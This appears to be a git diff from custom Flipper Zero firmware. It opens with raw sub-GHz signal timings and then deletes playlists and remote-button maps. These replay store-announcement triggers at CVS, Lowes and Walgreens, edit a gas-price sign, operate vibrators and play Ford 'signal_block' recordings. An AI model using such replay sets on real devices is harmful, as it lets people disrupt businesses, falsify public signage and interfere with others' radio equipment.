59 -324 69 -715 51 -66 74 -402 59 -256 61 -198 51 -136 57 -86 71 -231 103 -58 231 -150 51 -329 150 -76 87 -106 69 -139 53 -224 51 -356 75 -112 124 -102 51 -224 107 -309 69 -930 98 -472 115 -323 69 -516 55 -126 127 -74 51 -104 193 -322 71 -429 125 -60 142 -64 274 -372 159 -459 81 -60 75 -140 113 -123 67 -359 93 -97 88 -420 51 -62 53 -216 63 -317 81 -184 53 -473 61 -313 148 -453 79 -501 -RAW_Data: 59 -160 75 -563 89 -244 157 -165 61 -176 133 -553 98 -113 138 -122 59 -308 86 -152 67 -426 75 -195 97 -731 110 -700 88 -621 59 -184 61 -185 91 -128 55 -391 308 -58 272 -150 67 -82 154 -76 77 -490 93 -82 102 -504 71 -74 79 -454 106 -433 61 -126 175 -598 79 -216 89 -605 72 -116 89 -240 79 -88 57 -232 71 -575 97 -197 57 -194 94 -64 53 -62 61 -255 1075 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -126 129 -64 61 -126 63 -64 61 -64 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 127 -130 127 -126 127 -120 135 -56 69 -124 129 -128 125 -120 63 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -62 63 -64 63 -64 63 -62 63 -128 127 -64 63 -62 63 -126 63 -64 127 -128 63 -64 61 -62 127 -128 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -128 127 -56 69 -64 61 -64 61 -64 63 -64 63 -64 61 -128 129 -128 127 -126 63 -54 69 -64 125 -130 63 -62 63 -62 127 -128 127 -56 71 -126 127 -56 69 -126 63 -64 63 -62 127 -64 63 -62 63 -128 127 -128 63 -62 125 -64 63 -64 61 -128 63 -64 125 -64 63 -62 63 -64 63 -128 127 -64 61 -128 63 -62 127 -64 273 -505 63 -104 59 -134 86 -454 71 -719 53 -639 87 -64 53 -161 71 -54 53 -563 71 -90 51 -156 109 -89 51 -507 106 -264 63 -236 292 -362 63 -197 59 -119 107 -434 113 -589 103 -639 71 -199 77 -64 81 -90 114 -372 97 -86 51 -125 89 -167 81 -185 97 -133 87 -289 129 -216 99 -108 53 -118 98 -82 51 -76 113 -522 177 -213 82 -342 99 -148 53 -122 121 -118 131 -639 84 -134 53 -297 144 -220 67 -141 71 -159 67 -238 59 -52 73 -72 73 -88 142 -458 53 -269 155 -540 203 -62 53 -157 125 -90 182 -1089 63 -603 53 -283 61 -82 91 -268 97 -261 106 -604 102 -149 95 -102 106 -122 -RAW_Data: 65 -502 112 -98 103 -160 106 -165 71 -479 59 -426 107 -513 61 -491 150 -780 91 -164 67 -80 113 -305 59 -372 118 -309 51 -201 148 -716 88 -94 102 -154 107 -54 53 -145 97 -108 96 -259 53 -252 67 -249 51 -287 51 -285 61 -424 71 -214 124 -210 67 -484 131 -416 59 -275 53 -595 88 -113 63 -412 137 -178 121 -64 59 -491 53 -294 69 -144 81 -980 51 -112 71 -310 67 -840 53 -60 73 -303 61 -185 53 -247 120 -174 168 -52 77 -88 144 -313 89 -54 53 -80 224 -174 105 -78 105 -78 181 -100 229 -127 157 -118 57 -78 141 -105 119 -133 132 -54 189 -99 99 -64 140 -128 111 -164 220 -156 229 -207 77 -124 97 -88 191 -83 110 -68 89 -60 89 -68 167 -76 271 -72 89 -194 217 -54 245 -64 174 -66 269 -140 141 -62 111 -114 171 -119 65 -302 156 -267 108 -156 132 -151 81 -56 63 -134 180 -62 51 -83 265 -62 77 -54 344 -54 97 -212 71 -54 53 -54 151 -54 63 -72 51 -85 79 -126 135 -80 51 -261 186 -82 77 -159 346 -64 215 -209 188 -138 75 -89 93 -156 149 -90 137 -60 95 -172 63 -82 185 -66 167 -80 97 -190 79 -209 191 -68 175 -80 89 -289 87 -305 80 -91 156 -107 57 -54 175 -140 101 -172 181 -62 67 -258 51 -60 168 -132 120 -146 86 -108 89 -106 57 -74 104 -351 106 -54 97 -87 76 -223 123 -72 97 -270 133 -144 109 -52 91 -52 81 -231 123 -244 111 -80 162 -151 122 -706 88 -122 79 -142 53 -265 133 -690 55 -543 122 -398 110 -389 98 -60 226 -143 105 -82 175 -113 51 -231 95 -355 99 -421 61 -783 51 -68 78 -100 81 -128 115 -328 55 -1124 87 -858 59 -140 120 -54 124 -219 77 -62 89 -139 77 -86 85 -305 51 -381 79 -150 107 -60 155 -378 61 -62 53 -702 112 -555 71 -136 140 -330 116 -161 149 -562 51 -461 69 -154 133 -179 51 -60 113 -89 59 -473 135 -493 53 -126 53 -495 88 -370 84 -249 81 -94 51 -150 139 -82 51 -241 69 -1108 87 -110 193 -190 61 -241 119 -148 148 -204 211 -879 209 -66 51 -444 84 -715 65 -253 53 -109 63 -130 106 -266 74 -190 67 -313 61 -104 118 -104 71 -279 87 -370 59 -160 53 -456 107 -116 116 -52 97 -68 51 -143 140 -246 63 -687 59 -246 71 -124 51 -306 71 -54 94 -70 59 -294 97 -66 87 -108 59 -136 53 -285 81 -52 81 -236 59 -482 117 -136 55 -83 164 -521 159 -154 89 -275 132 -190 204 -106 115 -68 95 -176 -RAW_Data: 69 -54 230 -66 125 -231 85 -60 106 -64 111 -52 53 -106 109 -60 73 -90 51 -76 170 -292 61 -52 135 -54 121 -60 87 -98 65 -350 63 -209 65 -98 128 -376 53 -192 212 -286 99 -532 83 -52 123 -108 121 -52 236 -113 124 -226 90 -257 67 -185 71 -371 55 -52 108 -133 89 -54 285 -121 193 -107 87 -157 51 -157 218 -80 57 -70 55 -273 129 -167 73 -150 57 -68 69 -117 265 -225 79 -358 274 -275 121 -229 95 -134 87 -120 318 -52 459 -72 124 -72 61 -97 134 -98 71 -198 125 -110 221 -98 147 -82 155 -76 133 -191 95 -125 79 -70 323 -129 67 -96 89 -257 95 -168 228 -143 81 -264 127 -450 67 -384 181 -576 111 -84 51 -355 170 -144 194 -605 85 -315 51 -108 61 -242 150 -170 75 -260 79 -263 69 -54 51 -176 75 -52 111 -197 114 -252 119 -890 73 -54 88 -270 121 -186 97 -450 53 -155 59 -233 69 -187 181 -512 71 -169 69 -272 59 -295 99 -705 69 -162 71 -336 51 -116 61 -171 65 -419 152 -325 111 -131 51 -353 67 -652 86 -444 59 -200 79 -147 53 -781 77 -556 65 -468 69 -98 103 -222 51 -74 67 -88 96 -86 51 -307 61 -186 71 -194 53 -62 95 -160 53 -149 95 -66 71 -78 88 -178 99 -68 73 -68 75 -461 168 -1184 69 -90 63 -567 57 -126 91 -226 64 -222 178 -649 125 -86 85 -248 89 -156 51 -246 90 -68 75 -173 71 -544 154 -94 61 -226 53 -54 177 -189 156 -205 132 -115 108 -176 118 -86 63 -266 53 -152 81 -114 75 -186 53 -58 65 -277 57 -206 69 -261 57 -143 133 -231 96 -126 194 -381 81 -254 61 -471 67 -68 112 -644 85 -791 102 -258 117 -513 59 -160 63 -209 132 -72 83 -293 61 -385 78 -125 177 -175 81 -106 67 -102 63 -479 69 -80 53 -164 144 -105 166 -96 99 -104 103 -124 59 -471 71 -157 195 -390 81 -574 250 -708 51 -487 59 -54 51 -311 55 -144 142 -516 83 -100 97 -85 84 -316 51 -98 71 -146 81 -349 61 -275 61 -480 53 -483 65 -241 71 -220 81 -748 92 -104 71 -307 75 -561 69 -333 91 -238 51 -662 87 -216 63 -265 127 -133 67 -527 91 -84 216 -78 106 -862 125 -170 61 -210 147 -202 55 -239 61 -76 175 -626 117 -215 149 -70 111 -210 63 -190 88 -103 59 -80 77 -968 72 -192 72 -605 121 -634 87 -879 53 -357 67 -78 127 -824 53 -437 59 -504 81 -613 71 -138 59 -1209 53 -74 98 -80 161 -197 53 -54 97 -196 150 -126 113 -124 -RAW_Data: 111 -394 63 -222 80 -182 108 -261 57 -415 75 -238 73 -349 98 -162 113 -491 79 -64 57 -193 97 -158 107 -265 125 -511 59 -305 63 -451 180 -541 226 -100 79 -68 75 -66 71 -96 87 -184 130 -225 138 -331 75 -212 61 -293 114 -256 175 -448 109 -152 59 -250 79 -80 59 -622 158 -203 149 -116 51 -457 63 -180 53 -90 122 -1057 71 -206 57 -1284 53 -294 61 -86 158 -371 63 -374 103 -114 55 -235 53 -98 51 -84 67 -187 163 -325 97 -76 83 -446 61 -416 88 -326 81 -144 59 -402 159 -78 67 -559 53 -112 78 -571 51 -165 88 -112 113 -257 53 -80 121 -133 71 -64 63 -439 89 -558 67 -296 69 -267 89 -52 73 -52 99 -82 77 -66 53 -72 53 -522 144 -344 89 -249 77 -949 63 -70 51 -147 71 -243 51 -202 77 -417 63 -62 75 -257 61 -90 71 -205 61 -403 63 -157 95 -451 51 -54 51 -310 61 -247 111 -76 69 -567 122 -601 59 -144 86 -174 105 -54 71 -98 65 -225 131 -223 97 -265 57 -222 89 -74 63 -72 59 -143 120 -436 89 -181 71 -98 106 -60 101 -193 89 -184 51 -404 114 -90 63 -412 79 -196 262 -229 51 -331 53 -80 53 -108 69 -68 61 -210 87 -296 53 -144 53 -148 103 -86 73 -455 85 -340 130 -266 78 -108 75 -386 67 -204 57 -117 63 -68 59 -150 71 -305 75 -108 81 -144 79 -780 61 -352 85 -116 97 -195 67 -528 227 -213 69 -72 61 -89 89 -54 113 -727 143 -537 178 -88 83 -252 61 -60 124 -84 53 -95 59 -78 112 -132 53 -140 89 -178 69 -176 96 -219 112 -1049 178 -325 96 -1193 59 -122 110 -126 89 -283 81 -552 99 -292 53 -387 78 -62 89 -319 59 -225 81 -78 254 -742 63 -437 53 -70 55 -245 106 -152 89 -141 109 -104 55 -92 75 -194 138 -260 53 -68 84 -129 142 -534 83 -456 51 -116 89 -225 55 -126 142 -87 61 -250 78 -255 71 -96 67 -478 104 -98 57 -91 69 -310 81 -130 51 -300 78 -66 125 -209 71 -450 53 -132 51 -232 53 -368 53 -201 67 -340 268 -114 109 -82 95 -151 110 -338 53 -248 122 -98 61 -72 65 -195 111 -114 57 -152 79 -122 51 -162 53 -225 79 -168 53 -587 88 -168 67 -326 71 -60 97 -579 59 -111 125 -207 110 -62 89 -235 81 -227 53 -72 194 -188 51 -941 71 -186 53 -283 71 -76 59 -716 81 -120 51 -250 63 -137 92 -312 73 -207 77 -130 63 -391 69 -289 53 -180 92 -254 71 -728 71 -64 114 -72 63 -138 53 -96 diff --git a/assets/resources/subghz/playlist/CVS_playlist.txt b/assets/resources/subghz/playlist/CVS_playlist.txt deleted file mode 100644 index 1b0ec742d..000000000 --- a/assets/resources/subghz/playlist/CVS_playlist.txt +++ /dev/null @@ -1,58 +0,0 @@ -# CVS Playlist -sub: /ext/subghz/Stores/CVS/Aisle_Eight.sub -sub: /ext/subghz/Stores/CVS/Aisle_Eighteen.sub -sub: /ext/subghz/Stores/CVS/Aisle_Eleven.sub -sub: /ext/subghz/Stores/CVS/Aisle_Fifteen.sub -sub: /ext/subghz/Stores/CVS/Aisle_Five.sub -sub: /ext/subghz/Stores/CVS/Aisle_Four.sub -sub: /ext/subghz/Stores/CVS/Aisle_Fourteen.sub -sub: /ext/subghz/Stores/CVS/Aisle_Nineteen.sub -sub: /ext/subghz/Stores/CVS/Aisle_One.sub -sub: /ext/subghz/Stores/CVS/Aisle_Seven.sub -sub: /ext/subghz/Stores/CVS/Aisle_Seventeen.sub -sub: /ext/subghz/Stores/CVS/Aisle_Six.sub -sub: /ext/subghz/Stores/CVS/Aisle_Sixteen.sub -sub: /ext/subghz/Stores/CVS/Aisle_Ten.sub -sub: /ext/subghz/Stores/CVS/Aisle_Thirteen.sub -sub: /ext/subghz/Stores/CVS/Aisle_Three.sub -sub: /ext/subghz/Stores/CVS/Aisle_Twelve.sub -sub: /ext/subghz/Stores/CVS/Aisle_Twenty.sub -sub: /ext/subghz/Stores/CVS/Aisle_Two.sub -sub: /ext/subghz/Stores/CVS/Allergy_Department.sub -sub: /ext/subghz/Stores/CVS/Baby_Formula.sub -sub: /ext/subghz/Stores/CVS/Batteries.sub -sub: /ext/subghz/Stores/CVS/Body_Wash.sub -sub: /ext/subghz/Stores/CVS/Cashier_to_the_Front_of_the_Store.sub -sub: /ext/subghz/Stores/CVS/Clinic_1_Medical_Alert_to_the.sub -sub: /ext/subghz/Stores/CVS/Cosmetics_Department.sub -sub: /ext/subghz/Stores/CVS/Cough_Cold.sub -sub: /ext/subghz/Stores/CVS/Customer_Service_Scan_All_Aisles.sub -sub: /ext/subghz/Stores/CVS/Dental_Care.sub -sub: /ext/subghz/Stores/CVS/Deodorants.sub -sub: /ext/subghz/Stores/CVS/Diet_and_Nutrition_Department.sub -sub: /ext/subghz/Stores/CVS/Ding_1.sub -sub: /ext/subghz/Stores/CVS/Electric_Razors.sub -sub: /ext/subghz/Stores/CVS/Electronics.sub -sub: /ext/subghz/Stores/CVS/Eye_Care_Department.sub -sub: /ext/subghz/Stores/CVS/Family_Planning.sub -sub: /ext/subghz/Stores/CVS/Film_Department.sub -sub: /ext/subghz/Stores/CVS/First_Aid_Department.sub -sub: /ext/subghz/Stores/CVS/Foot_Care_Department.sub -sub: /ext/subghz/Stores/CVS/Fragrance_Case.sub -sub: /ext/subghz/Stores/CVS/Hair-Care_Department.sub -sub: /ext/subghz/Stores/CVS/Health_Department_OTC_Health.sub -sub: /ext/subghz/Stores/CVS/Karen_Manager.sub -sub: /ext/subghz/Stores/CVS/Karen_Security.sub -sub: /ext/subghz/Stores/CVS/Liquor_Department.sub -sub: /ext/subghz/Stores/CVS/Pain_Reliever_Department.sub -sub: /ext/subghz/Stores/CVS/Pharmacy.sub -sub: /ext/subghz/Stores/CVS/Photo_Lab.sub -sub: /ext/subghz/Stores/CVS/Pre-Recorded_Video_Department.sub -sub: /ext/subghz/Stores/CVS/Recordable_Media_Department.sub -sub: /ext/subghz/Stores/CVS/Skin_Care_Department.sub -sub: /ext/subghz/Stores/CVS/Small_Appliances.sub -sub: /ext/subghz/Stores/CVS/Special_Ding.sub -sub: /ext/subghz/Stores/CVS/Stationery.sub -sub: /ext/subghz/Stores/CVS/Stomach_Remedies.sub -sub: /ext/subghz/Stores/CVS/Telecommunications_Department.sub -sub: /ext/subghz/Stores/CVS/Vitamin_Department.sub diff --git a/assets/resources/subghz/playlist/Ford Playlist.txt b/assets/resources/subghz/playlist/Ford Playlist.txt deleted file mode 100644 index e50b31ef6..000000000 --- a/assets/resources/subghz/playlist/Ford Playlist.txt +++ /dev/null @@ -1,3 +0,0 @@ -# Ford Playlist -sub: /ext/subghz/Vehicles/Ford/ford_signal_block_1.sub -sub: /ext/subghz/Vehicles/Ford/ford_signal_block_2.sub \ No newline at end of file diff --git a/assets/resources/subghz/playlist/Lowes_playlist.txt b/assets/resources/subghz/playlist/Lowes_playlist.txt deleted file mode 100644 index edcaf8ef8..000000000 --- a/assets/resources/subghz/playlist/Lowes_playlist.txt +++ /dev/null @@ -1,8 +0,0 @@ -# Lowes Playlist -sub: /ext/subghz/Stores/Lowes/Packaged_Rugs.sub -sub: /ext/subghz/Stores/Lowes/Outdoor_Power_Equipment_Desk.sub -sub: /ext/subghz/Stores/Lowes/Flooring_Desk.sub -sub: /ext/subghz/Stores/Lowes/Electrical.sub -sub: /ext/subghz/Stores/Lowes/Blind_Cutting.sub -sub: /ext/subghz/Stores/Lowes/Appliance_Desk.sub -sub: /ext/subghz/Stores/Lowes/Wirecutting.sub \ No newline at end of file diff --git a/assets/resources/subghz/playlist/Walgreens_playlist.txt b/assets/resources/subghz/playlist/Walgreens_playlist.txt deleted file mode 100644 index 2671e1584..000000000 --- a/assets/resources/subghz/playlist/Walgreens_playlist.txt +++ /dev/null @@ -1,4 +0,0 @@ -# Walgreens Playlist -sub: /ext/subghz/Stores/Walgreens/Walgreens_Cough.sub -sub: /ext/subghz/Stores/Walgreens/Walgreens_Skincare.sub -sub: /ext/subghz/Stores/Walgreens/Walgreens_Vitamin.sub \ No newline at end of file diff --git a/assets/resources/subghz/remote/CVS_Walgreens.txt b/assets/resources/subghz/remote/CVS_Walgreens.txt deleted file mode 100644 index a84a95df1..000000000 --- a/assets/resources/subghz/remote/CVS_Walgreens.txt +++ /dev/null @@ -1,10 +0,0 @@ -UP: /any/subghz/Stores/Walgreens/Walgreens_Cough.sub -DOWN: /any/subghz/Stores/CVS/Dental_Care.sub -LEFT: /any/subghz/Stores/Walgreens/Walgreens_Skincare.sub -RIGHT: /any/subghz/Stores/Walgreens/Walgreens_Vitamin.sub -OK: /any/subghz/Stores/CVS/Stomach_Remedies.sub -ULABEL: Cough_Wal -DLABEL: Dental_CVS -LLABEL: Skincare_Wal -RLABEL: Vitamin_Wal -OKLABEL: Stomach_CVS diff --git a/assets/resources/subghz/remote/Gas_Sign_Edit.txt b/assets/resources/subghz/remote/Gas_Sign_Edit.txt deleted file mode 100644 index f1308d3b7..000000000 --- a/assets/resources/subghz/remote/Gas_Sign_Edit.txt +++ /dev/null @@ -1,10 +0,0 @@ -UP: /any/subghz/Gas_Sign/Up_gas.sub -DOWN: /any/subghz/Gas_Sign/Down_gas.sub -LEFT: /any/subghz/Gas_Sign/Left_gas.sub -RIGHT: /any/subghz/Gas_Sign/Right_gas.sub -OK: /any/subghz/Gas_Sign/S_gas.sub -ULABEL: Up -DLABEL: Down -LLABEL: Left -RLABEL: Right -OKLABEL: Set diff --git a/assets/resources/subghz/remote/Ridin_Dirty.txt b/assets/resources/subghz/remote/Ridin_Dirty.txt deleted file mode 100644 index ce29efda6..000000000 --- a/assets/resources/subghz/remote/Ridin_Dirty.txt +++ /dev/null @@ -1,10 +0,0 @@ -UP: /ext/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_intensity.sub -DOWN: /ext/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_mode.sub -LEFT: /ext/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_power.sub -RIGHT: /ext/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_level.sub -OK: /ext/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_power.sub -ULABEL: Egg Intense -DLABEL: Egg Mode -LLABEL: Egg PWR -RLABEL: Bullet Intense -OKLABEL: Bullet PWR diff --git a/assets/resources/wav_player/sonicscrewdriver.wav b/assets/resources/wav_player/sonicscrewdriver.wav deleted file mode 100644 index ad389f48e928e3cdcf753520c479838e3b1b921c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 94508 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%0Di?m!Y%QLcxXNk| z4}bXZ>C@>` zL>#)aK87(@ixVyu@5u3=2vEYcA@*m8rtv>S|aG7FzRG(V@ zLr>F0%%=9i43QBp1gqMPmq?ShRDVL+{ox^gh`fY#0dv!HtMYZNt{m-iml3*+Y16kKGd*!?f4h{B2eBD$~%NqnIEjJFt1A=vlj7WJqi48p#>??5k!MMgS{SonAE?W(=MOW)+{|IuaZ_zQ;an zL!CGpk-7%pq~W-~Ns2s=@GUhT*ZSdSiSwXa*4Vk7o=2Tk;482_)p?>#%{gCR;p^~T z$@0dm$gYNl)h}7{!{kixUEM$(a1!=i8p)UNUE;y)DX?&!2TwYvt`odYqJ&^0RN-G; z+us+*85n^K^V`>#m+PBzMO6G2T!|4j{?8o{&Q$4{?5NhDb(4)yze=Qzrhuc6K*h;i zM%J6CYmlL~u@7rcoth32(7m2V>tjx&NBLa-fmtadS)!6@PS4MS=ft*@A4Me%&X)C2 z4_;uyt1GxOS*Y+B&*KU_{uBS?+#~!swS0Nw=y+%$C$cIe+}>J>vN-i9!j%!hLG~#H zyf4cXkJpVJg_^(MSzveYe0UtPDs&%y2X6_+!2{zrEn`|0-}Uv(T+&}M2K;#YdB9yr zz$5TPMwRxWW{5yt=Y=79j4JW_svEI@EErA_90+dH(W+2BmAH*DA(5wprB7B9zspQmMpngo!5ApZUsl2uodb0&M5wVb`We5^HM$QXAJ=D@6-N?tQ;eh_(TF7B6;yY%6!?BPE;>Dt0dv8p(G{v` z=2hDxAtz;KUWM22wd9wq^4{Lc%EDsuWK;=RWn_?v(*=>e9^`@KwHZT<_&k!04LS_E z(PhAFS_(|t=qPpC%Ai;Vl@HJZGRXceE~pNIgF!2f9mt^O%7ye2khMp6bn zgyjG4XCxzQt_=*`mGTU&uhs^?PoC^?sN+j)-<)y_^FfhuG;1?4L5~UOnNRvG=Mg_xWuiWM#BrC1+q z4%s=_$IKSK0Er$IwpYi2uLr|B1GA={MSl@1gMPPVfC^cs*|}vgyulZ1K434zh=(__ z{eYan&15OyEzLr34M?Lt3kI5-!!IW1?5+&F5%$BsA*1-knaBilRjA3P?slRZK)Gpj zcD$&s;N=BW8opKblD?I^R0=L^YO6E*jsD6{yDAwych2C+Nr@BiI>;bn0qMXp;p3}6 zBTL51FGi#|X|eHdZ^XTe=x->@dB~_(8!w%;DdVtJ^@1SdHhc#;A1u{b#LkpK1YT0K zfnD@iQU*C3IMOn10?U%8!Obd!i=8cbdSIK(9mx47lw~ug;xxoQ5{2P26vZV2d;}+Z zE1cFw0w9}Chkle+9uvHXSQsG^Sg8~0+NGKxPDJsS9x;0L9lO885!>CY+B)bbNQCP%7VJq+zD{D5zDDBgyp}<#j 